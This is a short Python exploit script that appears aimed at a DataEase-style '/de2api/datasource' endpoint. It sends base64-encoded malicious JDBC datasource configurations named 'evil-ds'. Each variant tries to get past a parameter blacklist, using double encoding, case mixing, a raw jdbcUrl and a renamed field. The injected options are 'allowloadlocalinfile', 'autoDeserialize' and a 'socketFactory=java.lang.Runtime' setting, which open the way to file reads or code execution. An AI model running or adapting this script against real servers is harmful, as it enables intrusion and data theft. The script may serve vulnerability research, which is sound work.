import base64, json, urllib.request, sys

port = sys.argv[1]
variant = sys.argv[2]
url_type = sys.argv[3] if len(sys.argv) > 3 else "validate"
url = f"http://127.0.0.1:{port}/de2api/datasource/{url_type}"

configs = {
    "original": {"type":"mysql","host":"127.0.0.1","port":3306,"dataBase":"test","extraParams":"allowloadlocalinfile=true","illegalParameters":[]},
    "mariadb": {"type":"mariadb","host":"127.0.0.1","port":3306,"dataBase":"test","extraParams":"allowloadlocalinfile=true","illegalParameters":[]},
    "direct_jdbcurl": {"type":"mysql","urlType":"jdbcUrl","jdbcUrl":"jdbc:mysql://127.0.0.1:3306/test?allowloadlocalinfile=true","extraParams":"","illegalParameters":[]},
    "double_encode": {"type":"mysql","host":"127.0.0.1","port":3306,"dataBase":"test","extraParams":"%2561llowloadlocalinfile=true","illegalParameters":[]},
    "case_mixed": {"type":"mysql","host":"127.0.0.1","port":3306,"dataBase":"test","extraParams":"ALLOWLOADLOCALINFILE=true","illegalParameters":[]},
    "parent_field": {"type":"mysql","host":"127.0.0.1","port":3306,"dataBase":"test","extraParams":"allowloadlocalinfile=true","IllegalParameters":[]},
    "oracle": {"type":"oracle","host":"127.0.0.1","port":1521,"dataBase":"test","extraParams":"autoDeserialize=true","illegalParameters":[]},
    "pg": {"type":"pg","host":"127.0.0.1","port":5432,"dataBase":"test","extraParams":"socketFactory=java.lang.Runtime","illegalParameters":[]},
}

malicious_config = configs.get(variant, configs["original"])
payload = {
    "type": malicious_config.get("type", "mysql"),
    "name": f"evil-ds-{variant}",
    "nodeType": "datasource",
    "action": url_type,
    "configuration": base64.b64encode(json.dumps(malicious_config).encode()).decode()
}

req = urllib.request.Request(url, data=json.dumps(payload).encode(), headers={"Content-Type": "application/json"}, method="POST")
try:
    with urllib.request.urlopen(req, timeout=15) as resp:
        body = resp.read().decode()
        print(body)
except urllib.error.HTTPError as e:
    body = e.read().decode()
    print(body)
except Exception as e:
    print(json.dumps({"error": str(e)}))
